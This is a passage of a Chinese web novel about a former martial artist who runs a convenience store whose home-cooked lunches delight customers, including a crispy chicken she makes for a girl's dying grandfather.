早上吃的鱼汤面,中午吃的黄豆烧鱼块,晚上明清欢不准备再做鱼,而是拿出半只鸡切块,加土豆炖了一锅后,揉面做了几个饼子贴在锅边上。 “哇~” 等到饭菜上桌时,周瑶瑶发现今天吃饼,还有土豆烧鸡、蒜蓉生菜和三鲜汤,直接发出欢呼。 可能是下午干了不少活,晚上两个人胃口都特别好,两菜一汤全部吃光光。 吃完她们继续布置店铺,周瑶瑶还提议:“老板,我觉得我们店里有些不好卖的东西后面可以不进货了,换点其他好卖的进来。” “好。” 明清欢觉得她说得有道理,二人商量着新的货品,当天晚上周瑶瑶再次留宿在店里。 次日,顾客上门发现店内大变样,基本都在夸。 “我差点还以为走错地方了,还别说,这样一改,整个店看起来显得空间更大了。” “桌子靠墙放挺好,中午吃饭终于有现成的地方坐了。” “这样好,看起来明显更舒服。” 对于店内布局的改变,顾客们基本上都在夸,尤其是发现墙边那排座位时,早上就有顾客直接坐过去吃早餐。 接下来几天,便利店内中午都主打卖鱼,吸引来好多喜欢吃鱼的顾客。与此同时,店内的新布局得到顾客们的一致好评。 随着侠客便利店生意越来越好,好多下班时间比较晚的工作党越来越难吃到店内快餐,于是周末放假时,好多工作党九点多就到店里来。 “这么早叫我们出来,你是要请我们吃早餐吗?” 祥云街上,两男两女走在一起,戴眼镜的男生看向今天请客的人。 安子音声音里带着点不好意思:“那家店生意很好,来晚了不但要排队,还没座位坐。” “那直接订个包厢不就好了。”眼镜男道。 另外一个女生闻言直接开口:“人家音音请吃饭,你哪来那么多废话。” 说话间四人已经来到侠客便利店门口,刚安静没几秒的眼镜男望着眼前的店铺,忍不住再次开口:“要不今天还是我请你们吃饭。” “这里店饭菜味道很好的,在网上特别火。” 安子音今天请客是因为感谢他们之前帮了自己的忙,她知道三人家庭条件都比自己好,与其打肿脸充胖子选个高档餐厅,还不如找家味道好的店。 “认真的吗?我知道有些小饭馆可能味道不错,但这是便利店,便利店能有什么好吃的?”眼镜男语气透着怀疑。 “你不想吃就走呗,哪那么多废话。” 另外一个女生说完,直接挽着安子音的手说:“音音别理他,咱们先进去。” 两个女生进去后,高个子男生也跟着进去,眼镜男见此终于不再哔哔,跟着他们一起往里走。 厨房内,可能是由于发现店内小顾客也不少,今天明清欢特意做了道适合孩子吃的金沙玉米。 新鲜玉米剥粒,用水焯一遍后趁着玉米还是湿的裹上淀粉,再放入锅中油炸,香味很快就从锅里飘出来。 炸过的玉米本就很香,再配上咸蛋黄一炒,每粒玉米都均匀裹满金灿灿的蛋黄,出锅后像是粒粒碎金一样漂亮。 咸蛋黄拿来炒玉米,蛋白明清欢也没浪费,用豆腐配着准备做个蛋白烧豆腐。咸鸭蛋蛋白自带咸味,就得用豆腐这种清淡的食材一起做才合适。 她开始忙着做下一道菜时,周瑶瑶却是握着手机在反复看视频,视频里不是别的,而是她刚刚拍到明清欢切玉米的画面。 “太秀了……” 周瑶瑶知道自家老板刀工好,但万万没想到能好到随手把玉米棒往上一抛,直接削成玉米粒的地步。 “什么太秀了?” 已经开始排队的顾客听到她声音,有人好奇询问。 周瑶瑶也没藏着,直接把视频分享到群里,有群的顾客直接点开看,之前没加群的顾客赶紧加群。 “我去!这真不是在拍电影吗?” “太神了!就这神一样的刀工,做出来的菜 不好吃才奇怪!” “原来玉米粒还能这么切,学会了!” “我劝你还是别乱学,别玉米粒没切下来把手给切了……” 爱凑热闹是人的天性,很快安子音他们一行四人也看到视频,刚刚还质疑过这家店的眼镜男瞬间目瞪口呆。 在顾客们震惊于老板的刀工时,厨房里香味越来越浓郁,很快明清欢就把做好的菜依次端出来。 玉米这种菜平常是没有肉类那么吸引人的,今天明清欢才把金沙玉米端出来,顾客们却是个个都把视线投过去。 第24章 第24章香酥鸡 金沙玉米卖相确实很不错,但跟其他菜色比起来只能说是旗鼓相当,明清欢见顾客们看得如此目不转睛,还以为他们是看新菜。 实际上,顾客们想到刚刚那个视频,已经给金沙玉米带上滤镜,觉得用那样秀的刀功切出来的玉米粒,肯定会更好吃。 幸好明清欢不知道他们心里的想法,否则肯定会告诉他们,她只是一时技痒顺手秀了个刀法而已,用刀法削下来的玉米粒并不会更好吃。 但顾客们才不管,没等菜全部摆出来就迫不及待道:“我要一份玉米。” “我也要玉米,还要香酥鸭……” “别急,等我把菜先摆好。”周瑶瑶安抚一句,随即赶紧开始给他们打饭。 饭菜全部摆好,她和明清欢一起给顾客们打饭。 “麻烦帮我装进保温桶里。”轮到一位女顾客时,她将提前打开的保温桶递过去。 明清欢伸手接过保温桶,询问清楚她要什么菜后帮忙一一打进去。 “你这是给谁送饭吗?”有顾客好奇心重,看到保温桶忍不住询问那位女顾客。 女顾客点头道:“对,给我女儿带饭,她在读高三,学习压力大,平常就爱吃点好吃的……” 还在排队的顾客不少人受到启发,感觉下次也可以带保温桶来多打点饭,然后分两顿吃,这样晚上还能吃到美味的饭菜。 明清欢很仔细,打完顺手将保温桶盖好才递出去。 “谢谢。”女顾客道谢完就赶紧从店里出来,开着小电瓶车前往学校。 从便利店到高中有点距离,等她开到学校门口没多久,正好到放学时间。 “妈。”穿着校服的女生从学校里出来,看起来不是很有精神的样子。 当妈地看到女儿这样,立刻就心疼起来:“是不是饿了?妈给你带了好吃的。” 她说完,赶紧把带过来的折叠小桌椅都打开,再将保温桶里饭菜和汤一一取出来。 保温桶很大,里面分了好几层,除了压得结结实实的米饭外,还有黄豆烧鱼块、金沙玉米、清炒莴笋、鱼头豆腐汤。 饭菜摆出来,香味瞬间扑鼻而来,本来没什么胃口的女生不由低头看过去:“妈这是你做的菜吗?” 听出女儿语气中的惊讶,妈妈并没有不高兴,直接告诉她:“你前天晚上不是刷视频刷到那家侠客便利店,这就是那家的饭菜,你尝尝看喜不喜欢,喜欢的话妈以后天天给你带。” “妈你真好!”女生感到很惊喜,立刻握着筷子吃起来,发现鱼块果然像视频里说的一样特别美味。 “妈你也尝尝,这个鱼真的好好吃啊!一点腥味都没有,而且鱼肉特别嫩,还有表面的鱼皮,吃起来焦焦香香的。” 几口鱼肉下肚,她感觉食欲瞬间被打开,端起米饭往嘴里送了几口,感觉连饭都吃起来格外香。 妈妈看到她爱吃,比自己吃了还高兴,在她不停催促下才尝了块鱼,发现确实好吃,是在家里自己完全做不出的味道。 “咦,这个玉米也好好吃啊!表面不知道是什么,吃起来沙沙的,里面玉米嫩嫩的,我还没吃过这种炒玉米。” 金沙玉米主要食材就是咸蛋黄和玉米,蛋黄的咸鲜和玉米的清甜脆嫩形成对比,加上玉米表面裹着淀粉炸出来的脆壳,不论是味道还是口感都特别丰富。 女生尝过以后就吃得停不下来,感觉鱼肉加黄豆配饭特别香,这个玉米也很下饭。 这边女生吃着妈妈送过来的饭菜,感觉学习的压力都被美味的饭菜驱散时,侠客便利店内此时正是热闹的时候。 金沙玉米菜如其名,漂亮得像是粒粒金沙被装在盘中一般,有顾客甚至感觉一次性餐盒配不上它的卖相,感觉如果换个白玉盘,放到高档餐厅怕不是能卖出“888”或“1888”的高价。 “音音,这个金沙玉米太好吃了,咸蛋黄和玉米简直是绝配!” 安子音听到朋友的话,赞同地点头,随即就着金沙玉米来了口米饭,感觉越吃越香。 她们两个女生还有空夸两句,同行的两个男生已经吃得头也不抬,尤其是之前还质疑过便利店能有什么好吃的眼镜男,此时吃的筷子就没停过。 金沙玉米不光卖相好看,香味更是浓郁,蛋黄的鲜香混着玉米的清甜气息扑鼻而来,再配上那绝佳的口感,简直就是人间美味! 眼镜男实在没想到,看着不起眼,甚至名字有点奇怪的便利店会有这种美食,此时早就“真香”了。 安子音性格好,压根不提之前在店外他说的那些话,但另外那个女生却是开始翻旧账。 “某些人之前不是不想在这吃饭吗?现在怎么吃得比谁都多?” 眼镜男才不是那种死要面子的,直接道:“我错了还不行吗?主要我哪知道这种小店里还能藏着顶级大厨。” 他都认错了,女生不好再追着不放,于是重新转头跟安子音探讨美味去:“香酥鸭也好好吃啊,比我之前吃过的都要美味,明明是油炸出来的,吃着却不油腻……” 安子音见他们都喜欢吃这家饭菜,终于放下心来,边吃边听着朋友夸夸夸,心里莫名有种与有荣焉的感觉。 “这个豆腐是用什么烧的?吃起来好鲜。” “像是蛋白,这厨师还挺会做,蛋黄拿来炒玉米,蛋白拿来烧豆腐,食材一点都不浪费。” “确实是咸蛋白的味道,别说,用来烧豆腐还挺香。” 今天店里有黄豆烧鱼块、脆皮香酥鸭、蛋白烧豆腐、清炒莴笋、三杯鸡和鱼头豆腐汤。 平常明清欢其实会尽量避免有重复的食材,但今天实在没办法,做鱼时鱼头不好浪费,做金沙玉米时蛋白也不可能扔了,就导致今天菜有点食材重复。 不过只要味道好,顾客们倒是没介意,安子音他们四个把每个菜都点了两份,吃得那叫一个香。 “明天我们还来这吃吧。” 四个人吃饱喝足,进店前最不乐意的那个眼镜男主动约起明天的饭来,并表示自己请客。 中午这阵热闹过去,便利店里很快就恢复安静,周瑶瑶没事干,直接拿手机放着小说听。 明清欢最近经常听她放小说,渐渐倒是听进去,有些好奇开头,于是询问起来。 周瑶瑶听到她感兴趣,立刻捧着手机到她身边安利起来:“这是洛阳的新书,男频我看得下去的作者就那么两个,他我觉得是最好的,新书内容是武侠,我本来……” 听到她介绍,明清欢跑到那个叫“洛阳”的作者账号里看起来,发现他写的书还挺多。 两个人凑在一起聊起小说时,忽然有人匆匆跑进店里,那急促的脚步声让明清欢下意识转头看过去。 来人是个二十岁左右的姑娘,她眼眶红红的,手里拎着只鸡,张口时声音里带着微微哭腔:“请问你们店能做香酥鸡吗?” 周瑶瑶有点懵逼,不明白这是搞哪出,不过还是第一时间抽了纸巾递给刚说完话眼泪就落下来的人。 “能。”明清欢看出她现在肯定是特别需要香酥鸡,不然不会话未落泪先流,连多问一句都没有,直接点应下。 得到肯定回答,女生抹把眼泪后赶紧把鸡递过去:“谢谢,求求你尽量做快点,我爷爷人快不行了,这会就想吃一口香酥鸡……” 女生叫林玫琪,她奶奶去得早,爷爷又当爹又 当妈拉扯大四个儿女,结果临到了想吃一口奶奶曾经给他做的香酥鸡,却根本没人重视。 她本来想直接在外卖上点,结果外卖上根本没有香酥鸡,她提议大家一起去附近酒店问问能不能做,结果长辈们不愿意折腾,随便买了只炸鸡来糊弄,但爷爷根本吃不下。 老人一辈子为了儿孙累死累活,临到头就这么点小愿望,她是真不想让爷爷失望。 长辈们已经不愿意折腾,她想到之前朋友夸侠客便利店香酥鸭好吃,约她有空一起去吃,抱着死马当活马医的想法跑过来。 现在听到老板说能做,林玫琪不知道为什么,瞬间眼泪流得更凶。 “别哭了。”周瑶瑶不知道怎么安慰她,只能一个劲抽着纸巾往她手里塞,塞完想想赶紧跑进厨房。 “老板,用不用我帮忙?” 明清欢已经在杀鸡,听到她声音,直接让她帮忙把待会需要用的调料在台面上先摆出来。 店内,林玫琪听到厨房里周瑶瑶询问的声音,想到现在不是哭的时候,赶紧把眼泪抹干也跑过去帮忙。 香酥鸡做法和香酥鸭类似,都是先蒸后炸,不过细节部分却是不同。 菜刀在明清欢手中用起来简直如臂使指,几分钟不到就将鸡给处理好,鸡头、鸡屁股、鸡爪切掉不要,再将鸡骨头稍微拍一拍,随即就开始调配料汁。 由于现在赶时间,为了让鸡能快速入味,她把整鸡放入调好的料汁中后用内力进行揉搓,三分钟不到就将带卤料的鸡上锅蒸。 蒸鸡的时候她也没闲着,随手调出碗淀粉糊糊,等到鸡蒸好稍微放凉一点,往鸡身上薄薄裹一层淀粉,用八成油温开始炸。 原本要费不少时间的菜,在明清欢努力加速下终于出锅,刚出锅的香酥鸡色泽红润,光用肉眼看都能感受它表皮的香酥。 在香酥鸡表面油泡还没完全散去时,明清欢已经用刀将整鸡切开。 周瑶瑶很有默契地在她切完鸡第一时间把打包盒递过去,并且还细心地装了盒椒盐放在袋子里。 “谢谢,真是谢谢你们了……”林玫琪说着给她们鞠躬。 “不用客气。”明清欢说完又飞快打开坛子装了碗米酒一起放到袋子里,随即把袋子递过去道,“香酥鸡适合下酒,给你装了碗自酿的米酒,快拿去医院吧。” “多少钱?”林玫琪接过袋子问。 明清欢推着她往外走:“不用,你快走,别耽误时间。” 她和周瑶瑶一起把人送出门,林玫琪再次道谢后直接小跑起来,在路过打车直奔医院。 侠客便利店离她爷爷住的医院不算远,正是因为如此她才想来碰碰运气,这个时间路上完全不堵车,十分钟左右就直接到医院。 林玫琪坐电梯上楼时,她心跳越来越快,生怕自己赶不及,好在等她进入病房时并没有收到噩耗。 “琪琪回来了,买到了吗?” “附近我早就打听过了,要是有我早就买了。” 都说久病床前无孝子,老爷子住院时间太久,儿女都被磨得实在没有精力。不过小辈愿意跑他们倒是没什么意见,毕竟床上躺着的好歹是他们亲爸,因此大家倒是希望林玫琪能买到。 病房里都是长辈,林玫琪不好说他们什么,但心里其实有点埋怨,闻言没有回答,而是直接来到病床边:“爷爷,我买了香酥鸡,老板还送了她自己酿的米酒,你起来吃点好不好?” 她边说边将袋子打开,炸物特有的香气混着鸡肉香味以及腌制时用的香料气息瞬间就飘出来,闻起来令人垂涎欲滴。 原本好像陷入昏迷状态的老人缓缓睁开眼,他浑浊的眼睛在看到香酥鸡时,整个人像是回光返照般忽然来了精神。 “爸你醒了!” 老人的几个子女看到他睁开眼,都知道可能是回光返照,赶紧上前扶着他坐起来。 “爷爷来,你尝尝味道怎么样。”林玫琪握着筷子夹一块香酥鸡送到他嘴边。 老爷子轻轻咬了一口,香酥鸡外层如它名字一样酥脆咬下去时发出“咔嚓”声,内里鸡肉则是软嫩多汁,即便是牙口不行的老人都吃得动。 人总是会美化记忆中的食物,其实老爷子已经记不太清妻子当年给他做的香酥鸡是什么味道,只记得特别好吃。 此时吃到如此美味的香酥鸡,他下意识就觉得和妻子做得一样,浑浊的眼睛里忽然带着点亮光。 当看到爷爷慢慢抬起手,自己拿着香酥鸡吃起来时,林玫琪眼泪再次流下来。 “你奶奶……做的香酥鸡……就是这个味……尝尝……”老爷子说着说着,脸上露出怀念的笑容。 林玫琪两三岁时奶奶就去世了,她其实对奶奶没什么记忆,不过听到爷爷让她尝,她还是拿起块香酥鸡送到嘴边。 香酥鸡味道很好,咸鲜酥嫩,越吃越香,如果换做平常能吃到这种美食她恐怕会很开心,但现在她却是越吃越难受。 她压根没吃过奶奶做的香酥鸡,但病房内几个为人子女的闻着香酥鸡特有的香味,却是想起当年母亲还在时,每过年时年夜饭都会做香酥鸡。 回忆起早逝的母亲,几个年纪其实也不小的人心里忽然有点闷闷的难受,尤其是想到父亲临终前就惦记这么口香酥鸡,他们却不愿意尽力满足,心里忽然有些内疚。 老爷子连吃两块香酥鸡后动作渐渐慢下来,林玫琪怕他是噎着,赶紧端起旁边的米酒说:“爷爷,你要不要喝米酒?” 有种说法,说人在临终前五脏六腑都会发热,会特别想喝点凉的东西。老爷子听到米酒直接点头,等碗送到嘴边时就张口喝起来。 米酒刚酿出来那会喝起来是甜甜的,随着时间的发酵,如今酒味已经稍微浓一些,喝起来除了甜,还带着点微酸,口感比之前要更加丰富。 老爷子本身就是爱喝酒的人,对他来说,现在这种酒味浓,带着发酵酸味的米酒会更合他口味。 临了前能吃到香酥鸡,还喝到味道特别好的米酒,老人眼中透着满足。 片刻后,病房里安静一瞬,随即响起阵阵哭声。 侠客便利店。 “不知道来不来得及。”周瑶瑶望着门口的方向,心里替刚刚那个女生着急。 明清欢送上祝福:“肯定能赶上。” 她们能帮的已经帮了,其他的只能看天意。不过可能是推己及人,周瑶瑶忽然有点想自己爷爷。 “老板,我下周可以请几天假不?我想回家一趟。” 跟刚刚那个女生比起来,周瑶瑶还算幸运,她爷爷奶奶身体都还算健康。她之前甚至从来没往爷爷奶奶有天会离开自己这方面想,直到今天忽然反应过来,随着自己长大,其实爷爷奶奶已经过一天老一天。 “不用请假,你之前的双休都没怎么休,想回家直接回就好。”明清欢想到她来上班后几乎天天往店里跑,觉得她休几天假很应该。 “老板你真好!” 周瑶瑶想到很快可以回家看望爷爷奶奶,刚刚生起那点多愁善感逐渐消失,转而想起刚刚的香酥鸡。 “老板,下次午餐可以把香酥鸭换成香酥鸡吗?我感觉顾客肯定会想换换口味。” “我看是你想换换口味吧。”明清欢直接点破她那点小心思。 周瑶瑶闻言“嘿嘿”笑起来:“刚刚你做的香酥鸡太香了,感觉和香酥鸭是不一样的好吃……” 她说是便利店的员工,但日常相处下来,她和明清欢更像是朋友。 见她想吃香酥鸡,没两天明清欢就把每天送到店里的鸭换成鸡,直接做了香酥鸡。 跟炒菜比起来,油炸的香味会更加霸道,尤其是炸之前食材先腌后蒸,将香料味道全部蒸进鸡肉中,再被油一炸,高温直接将香味都炸出来,鸡肉香中带着香料的复合香气,简直令人光闻味道就垂涎欲滴。 隔壁童装店,几个店员本来还在认真给顾客推荐衣服,闻到这股浓郁的香味时心直接 就飘出去。 “要不我先去排队买饭,不然去晚了又买不到。” 按说童装店就在便利店隔壁,她们完全可以近水楼台先得月,可耐不住现在好多人从十点就过去排队,而她们要上班,不可能那么早过去等着,结果有好几次都没抢到快餐。 “你去可以,万一我买不到,咱们一起吃。” 两个店员小声嘀咕时,店内顾客同样闻见香味,肚子里馋虫都被勾起来:“什么那么香?” 听到顾客的话,恨不得现在就去吃饭的两位店员立刻安利起隔壁便利店的快餐。 听到她们把个快餐夸得天上有地下无的,再闻着越来越浓郁的香味,顾客好奇心上来,直接买下刚刚挑选好的衣服准备去隔壁看看。 顾客提着衣服走到隔壁门口时,望着店内已经排上队的人正想感叹两句时,就感觉身边窜过去什么东西。 什么玩意? 她视线环绕一圈,在发现原来是刚刚童装店店员已经跑进便利店里时,嘴巴微微张开。 “吃个饭而已,要不要那么夸张……”她嘴里呢喃着,不过双腿却是很诚实地往前走,加入队伍中。 她刚排上队,队伍前面有老顾客闻着香味询问:“瑶瑶,今天有什么好吃的?” “今天有香酥鸡哦。”周瑶瑶说完喉咙不自觉吞咽一下,显然是被炸鸡的香味搞得有点馋。 “香酥鸡?之前的脆皮香酥鸭就特别美味,香酥鸡肯定也好吃。” “哇!竟然有香酥鸡了!其实比起鸭子,我还是更喜欢吃鸡。” 在顾客们的期待中,饭菜终于被端出来,最吸引人的就数那盆金黄酥脆,表皮油亮的香酥鸡。 “老板,给我来份香酥鸡!” “香酥鸡看起来好像炸鸡啊,和炸鸡有什么区别?” “说什么废话,香酥鸡本来就是炸出来的鸡,只是老板手艺好,做得比外面卖的炸鸡好吃而已。” 顾客们还没吃,就已经认定明清欢做的香酥鸡比外面卖的炸鸡好吃,看得出来都是她家死忠粉。 前段时间天天有鱼,今天明清欢没做再做鱼,而是做了香酥鸡、外婆菜炒鸡蛋、清炒菜心、红烧排骨、豆腐酿肉、菠菜肉丸汤。 除了香酥鸡外,其他每样菜同样卖相十足,顾客们打个饭差点没吵起来,排在前面的想多打点,排在后面的生怕前面的人把菜都打光了,那叫一个热闹。 “菜还有好多,你们别急。”明清欢见队伍里有人开始推挤起来,不得不开口安抚。 第25章 第25章油焖大虾 明清欢开口后顾客总算没再继续往前挤,她和周瑶瑶则是赶紧加快打饭的动作。 “唔,好脆啊!” 拿到饭的顾客站在原地就忍不住吃起来,香酥鸡咬下去发出咔嚓脆的声音,香得他差点没咬到舌头。 绝佳的火候把控让鸡肉表面那层脆壳焦而不糊,香而不腻,内里的肉质更是鲜嫩多汁,而且吃起来特别入味。 精心搭配的调料味先腌再蒸,已经完全融入鸡肉中,经过油炸后连骨头都是香的,那酥润交融的滋味,吃得人根本停不下来。 “太好吃了!感觉吃过这个香酥鸡,外面卖的炸鸡我都不想吃了。” 金黄酥脆的香酥鸡卖相格外诱人,顾客们买完饭都忍不住先吃它,一块香酥鸡下肚,只感觉唇齿留香,余味悠长。 “还好今天运气不错,不然吃不到香酥鸡我得哭死。” 童装店两名店员买到饭后,边庆幸边往自家店里走。 没办法,按照老板的规定其实店里必须始终留个人看着,她们一起出来买饭被发现是要挨骂的。 “太好吃了……” 两位店员回到童装店,只感觉香酥鸡比以前吃过的炸鸡都要美味,红烧排骨更是鲜香可口,清炒菜心余味回甜,吃起来清爽又解腻,还有菠菜肉丸汤、豆腐酿肉、外婆菜炒鸡蛋,简直每道菜都好吃到她们心坎里。 她们埋头苦吃,好吃到连话都没空说,直到肚子已经有七分饱时,进食速度才终于慢下来。 “早知道当初我就该去便利店应聘。” “是啊,没想到便利店的新老板有这么好的厨艺,我可羡慕死她店里那个员工了。” 两人吃着吃着就想到周瑶瑶,都是当店员,在哪当不是当,比起童装店里还有业绩要求,便利店明显更清闲,而且光是每天包饭这一点就很令人心动。 便利店内,被人羡慕着的周瑶瑶此时正忙着,打饭的手都没停过。当然,倒不是有顾客催她,主要是她自己想早点卖完好去吃饭。 “老板,你家真不能考虑一下做晚餐吗?” 有顾客打完饭,想到如此美味的快餐只有中午能吃到,感觉很可惜。 “是啊老板,每天中午吃完你家的美味快餐,等到晚上时我都不知道要吃什么好,感觉看什么都不好吃。” “我也一样,每天晚上打开外卖软件感觉看什么都没胃口,昨天晚上我吃的炸鸡,但今天吃完你做的香酥鸡,我感觉我连外面的炸鸡都不想吃了。” “老板,你年纪轻轻正是奋斗的好时候,不能这么摆烂啊,光中午卖快餐能赚多少钱,你想想房租,房租不要钱吗?” 眼见顾客都开始给她灌鸡汤了,明清欢被逗笑,扬起唇道:“房子是我自己的,没有房租。” “那怪不得了……”顾客听到原来这栋房子是她家的,顿时有点理解她为什么不努力赚钱了,毕竟没有房租压力,换她她也想躺平。 不对!躺平什么躺平,老板要真躺平了,那我晚上吃什么? “就算没有房租,水电也要钱,还有你请员工不是也要开工资,老板啊,你不能太满足现状,要多赚点钱,争取把整条街都买下来,到时候开个大酒楼……” 明清欢确实还很年轻,但在大齐经历过家破人亡,又在江湖中风风雨雨那么多年,她如今只想过些平静而简单的生活。 如今每天卖早餐加午餐,还有店内其他东西的利润,钱完全够她用,甚至能攒下不少,她觉得没必要把自己搞得那么累。 顾客们只是因为太爱她的手艺所以才劝几句,见她笑而不语,倒是没再一个劲说,不然那样就讨人嫌了。 哪怕便利店布局经过明清欢和周瑶瑶改造,桌子依旧不够用,好在顾客们已经习惯,有位置坐最好,没有就自己找地方吃。 终于卖完今日份快餐,周瑶瑶直奔厨房去吃自己那份午餐。 明清欢看到她活泼的背影,脸上不由带出点笑意。 等她也进入厨房去时,门口的鸟笼里,八哥鸟鸟祟祟地打开笼门飞到靠墙摆放的桌子上。 店内还有不少顾客在坐着吃饭,它凑过去明显是想讨食,不过它倒是有分寸,并不敢直接从顾客盘子里抢,反而保持一定距离,只站在桌子边缘。 “你说恭喜发财。”老顾客对它很熟悉,看到它跑过来就直接拿菜逗它说话。 “恭、喜、发、财~” 见它还特意压低嗓子,生怕让谁听见的模样,顾客被它逗笑,掰了一点点香酥鸡投喂过去。 八哥是真够机灵,竟然还知道叼走食物飞回笼子里躲着吃。 它是够小心的,可耐不住店里有老六,直接在明清欢从厨房出来时扯着嗓子喊:“老板,刚刚你家小八又跑出来蹭吃了!” 八哥发出一声略高的叫声,随即扑腾着翅膀喊:“坏蛋,大笨蛋……” “哈哈哈哈,人家小鸟有什么坏心思,只是想蹭个饭而已,至于拆穿它吗?” “挨骂了吧!” “谁教它骂人的?教的也不行啊。” 店里热闹得不行时,厨房里周瑶瑶却是沉迷吃饭,无法自拔。 她平常就挺喜欢吃炸鸡,今天明清欢做的香酥鸡简直太合她口味,表皮又脆又香,里面肉鲜嫩多汁还有味,吃起来油而不腻,香得她简直快要飘起来。 如果说香酥鸡是大荤,那么今天的清炒 菜心就是大素,明清欢没放太多调料,简单的清炒将食材最原本的味道全部保留下来,吃着清脆爽口,余味中还带着食材本身的清甜。 吃完一块香酥鸡,再来几口清炒菜心,简直就是一种享受。周瑶瑶想到过两天回家就吃不到这么好吃的饭菜,都恨不得把老板一起打包带回去。 当然,打包老板回去显然不现实,于是她决定趁着还在店里时多吃点。 吃到快九分饱时,周瑶瑶终于端起汤,感觉今天的菠菜肉丸汤喝起来又鲜又爽口,混着菠菜做的肉丸子八分瘦两分肥,吃起来鲜香细腻。 明清欢发现她今天午饭和晚餐都吃得格外多,刚开始还以为是最近消耗大所以饭量增加,在得知她是觉得回家就吃不到,所以想多吃点,顿时有些哭笑不得。 “你别这样,万一把胃给撑坏就不好了。” 未免周瑶瑶继续暴饮暴食,在她要回家时,明清欢特意给她准备了卤牛肉,还有整只脆皮香酥鸭以及香酥鸡。 “老板我爱死你了!” 周瑶瑶抱着一大袋好吃的,感动得眼泪差点和口水一起流出来。 她家位于q市下面的县级市,坐火车只要两个小时就能到,由于最近店里忙,她还特意买了下午的火车票,这样能帮忙把快餐卖完再走。 火车上,周瑶瑶把双肩包随意丢在旁边,怀里却是小心地抱着那袋吃食。明明中午吃得其实挺饱,但想到袋子里有那么多好吃的,她忽然又有点馋。 不过最终周瑶瑶还是忍住了,觉得都是整鸡整鸭,得带回去让家里人看看老板的心意,至于卤牛肉,她倒是想吃几片解解馋,但它被放在最底下压着,实在有点不好拿。 还好回她家车程就两个小时,不等她继续纠结“吃还是不吃”这种大问题,火车已经即将到站。 周瑶瑶家庭关系很和睦,她到火车站时是她爸亲自开车过来接她。 “爸,我给你们带了好东西!” 周父看到女儿出去上几个月班,整个人都胖了一圈,觉得在外面应该没吃什么苦头,脸上不由露出笑容:“什么好东西?” “好吃的,等回家你就知道了。”周瑶瑶宝贝似地继续抱着怀里那袋吃食,在发现香酥鸭和香酥鸡已经没什么热度时,感觉有些可惜。 父女二人到家时已经快六点,周母早就做好晚饭,和周爷爷周奶奶一起等着他们。 “妈,爷爷奶奶!” 周瑶瑶看到家里人声音都不自觉上扬,随即抱着袋子就往厨房冲。 “你干嘛去啊?晚饭已经做好了,先吃饭。” “我给你们加个菜,这是我老板做的好吃的,她说拿回家用油复炸一下,炸透就能吃了。”周瑶瑶边说边从袋子里把吃食拿出来。 随着她解开袋子,炸货特有的香味和卤牛肉鲜味瞬间就飘出来。 脆皮香酥鸭和香酥鸡已经没什么热度,但香味却依旧很诱人,让周父闻着香味差点没忍住先揪个鸡腿下来吃。 “你哪会做菜,让妈来。”周母见女儿要炸东西,赶紧上前。 周瑶瑶:“妈你别小瞧人,我在店里天天看老板做菜,耳濡目染都学会一些,比如炸这个香酥鸡,我就知道要用八成油温来炸。” “那你知道怎么判断油烧到八成热吗?”周母问。 “额……” 在把油倒进锅里后,望着油渐渐被烧热,周瑶瑶最终还是从心地选择后退,将灶台前的位置让出来。 让周母做香酥鸭她不一定会,但做好的香酥鸭、香酥鸡让她复炸一下,她还是没问题。 随着香酥鸡下锅复炸,高温将香味瞬间激发出来,阵阵更加浓郁的香味从锅里飘出来,闻着简直能馋死个人。 片刻后,等到鸡和鸭全部复炸完,一家人来到饭桌上边吃边夸。 “好吃,太好吃了,外酥里嫩,而且吃起来特别入味。”周父夸就夸,夸完偏偏还忍不住多说了一句,说怪不得周瑶瑶胖了。 周瑶瑶闻言哼了两声:“别人家爸妈都是觉得女儿瘦了,哪有像你们一样总嫌女儿胖的!爷爷奶奶,你们觉得我胖了吗?” “女孩子胖点好看。”周爷爷吃着喷香的卤牛肉,笑呵呵地说。 周奶奶看到孙女嘴都嘟起来,赶紧道:“我们瑶瑶才不胖,之前太瘦了,现在这样才好呢。” “还是奶奶最疼我,来奶奶,多吃点这个香酥鸭。”周瑶瑶夹着最嫩的鸡翅放到奶奶碗里。 其实今天由于她要回来,家里本身就准备了丰盛的饭菜,有鱼有肉有虾,然而此时一家人包括周瑶瑶在内,筷子却是都落在香酥鸡、香酥鸭和卤牛肉上。 周瑶瑶看到家里人都吃得那么香,心情很是愉悦,愉悦的同时还忍不住炫耀:“我在店里每天都有这些吃,我们老板还会做腌笃鲜、红烧排骨……甚至她连酒都会酿,她酿的米酒可好喝了,要不是怕过不了火车安检,我就带点回来给你们尝尝了。” 听到她描述店里的伙食,家里人都为她感到高兴。 只有周爷爷在听到自酿的米酒时,不由开口:“瑶瑶你们店里缺不缺看门的人?要不爷爷跟你一起去上班,不用给工资,只要管饭就行。” 都说老小孩老小孩,人老了以后性格就像小孩子一样,周爷爷显然就是这种性格。 他话落,周瑶瑶还没反应。周奶奶先瞪过去:“怎么,你这是嫌我做的饭不好吃?” 家里一般是她或者周母做饭,偶尔周父也会做,至于周爷爷,他倒不是不愿意做,实在是手艺太烂,做出来的东西狗都不吃。 “哪有,我这不是不放心瑶瑶一个人在外面上班。”周爷爷边说边又夹起一块香酥鸡,越吃越觉得香。 这边周瑶瑶回家陪伴老人,另一边侠客便利店并未因为她的离开就关门,而是每天照常营业。 至于说明清欢能不能忙过来,其实也还好,早餐她可以等做好才开门,最多只有做午饭那会店里没人看。 不过有八哥在,店里来人她能知道,而且到店的基本都是老顾客,由于她家快餐好吃,对她家便利店包容心很大,来买东西的都会自己扫码。 这日上午,洛淮青依旧是九点就来到店里,发现明清欢在厨房忙活,店里没人看着,拿出平板码字的同时自动充当起看店的人。 “盐在哪?” 有老人过来买盐时,洛淮青直接起身在货架上寻找起来,最终在角落的货架二层找到。 老人给的是现金,他收完钱想想还是走到厨房门口跟明清欢说一声。 “好的,谢谢。” 明清欢道谢完让他把钱放在柜台上就行,自己则是继续处理手中食材。 今天她准备做油焖大虾,新鲜的活虾处理干净后腌制备用,等到把其他菜烧得差不多时,再来做这道油焖大虾。 腌制好的虾先用锅煎得两面虾壳焦脆,再加葱姜丝等调料进行翻炒,最后大火收汁。 明清欢做菜很有效率,站在灶台前同时烧两个锅,源源不断的香味顺着厨房飘出去,即便是天天来她家吃饭的老顾客,还是会被香味给馋到。 “好香,我闻见虾的味道了!今天肯定有虾吃。” 顾客们排队时最喜欢通过香味猜测今天有没有新菜,在闻见虾特有的鲜味时,不少人眼睛都亮起来。 之前就有不少主播来便利店拍直播,今天又有人举着手机慕名而来,不过看样子不是直播,而是拍视频。 